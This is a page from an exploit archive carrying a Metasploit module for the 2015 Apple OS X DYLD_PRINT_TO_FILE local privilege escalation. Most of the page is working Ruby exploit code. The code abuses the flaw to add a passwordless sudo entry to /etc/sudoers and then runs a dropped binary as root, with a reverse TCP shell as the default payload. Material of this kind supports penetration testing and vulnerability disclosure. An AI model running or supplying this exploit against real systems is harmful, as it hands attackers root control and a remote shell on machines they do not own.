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Apple OS X DYLD_PRINT_TO_FILE Privilege Escalation

Apple OS X DYLD_PRINT_TO_FILE Privilege Escalation
Posted Jul 23, 2015
Authored by Stefan Esser, joev | Site metasploit.com

In Apple OS X 10.10.4 and prior, the DYLD_PRINT_TO_FILE environment variable is used for redirecting logging data to a file instead of stderr. Due to a design error, this feature can be abused by a local attacker to write arbitrary files as root via restricted, SUID-root binaries.

tags | exploit, arbitrary, local, root
systems | apple, osx
MD5 | 1bb7a893f98b4f5275a6230249ded0ae

Apple OS X DYLD_PRINT_TO_FILE Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Local

Rank = GreatRanking

include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Apple OS X DYLD_PRINT_TO_FILE Privilege Escalation',
'Description' => %q{
In Apple OS X 10.10.4 and prior, the DYLD_PRINT_TO_FILE environment
variable is used for redirecting logging data to a file instead of
stderr. Due to a design error, this feature can be abused by a local
attacker to write arbitrary files as root via restricted, SUID-root
binaries.
},
'Author' => [
'Stefan Esser', # Vulnerability discovery and PoC
'joev' # Copy/paste monkey
],
'References' => [
['URL', 'https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html'],
['URL', 'https://www.reddit.com/r/netsec/comments/3e34i2/os_x_1010_dyld_print_to_file_local_privilege/']
],
'DisclosureDate' => 'Jul 21 2015',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86_64,
'SessionTypes' => ['shell'],
'Privileged' => true,
'Targets' => [
['Mac OS X 10.10-10.10.4', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'osx/x64/shell_reverse_tcp'
}
))

register_options([
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
])
end

def exploit
print_status("Writing payload to `#{payload_file}'")
write_file(payload_file, binary_payload)
register_file_for_cleanup(payload_file)
cmd_exec("chmod +x #{payload_file}")

print_status("Executing exploit at `#{payload_file}'...")
cmd_exec(sploit)
end

def check
(ver?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
end

def ver?
Gem::Version.new(get_sysinfo['ProductVersion']).between?(
Gem::Version.new('10.10.0'), Gem::Version.new('10.10.4')
)
end

def sploit
%Q{/bin/sh -c "echo 'echo \\"$(whoami) ALL=(ALL) NOPASSWD:ALL\\" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo #{payload_file} &"}
end

def binary_payload
Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
end

def payload_file
@payload_file ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
end

end

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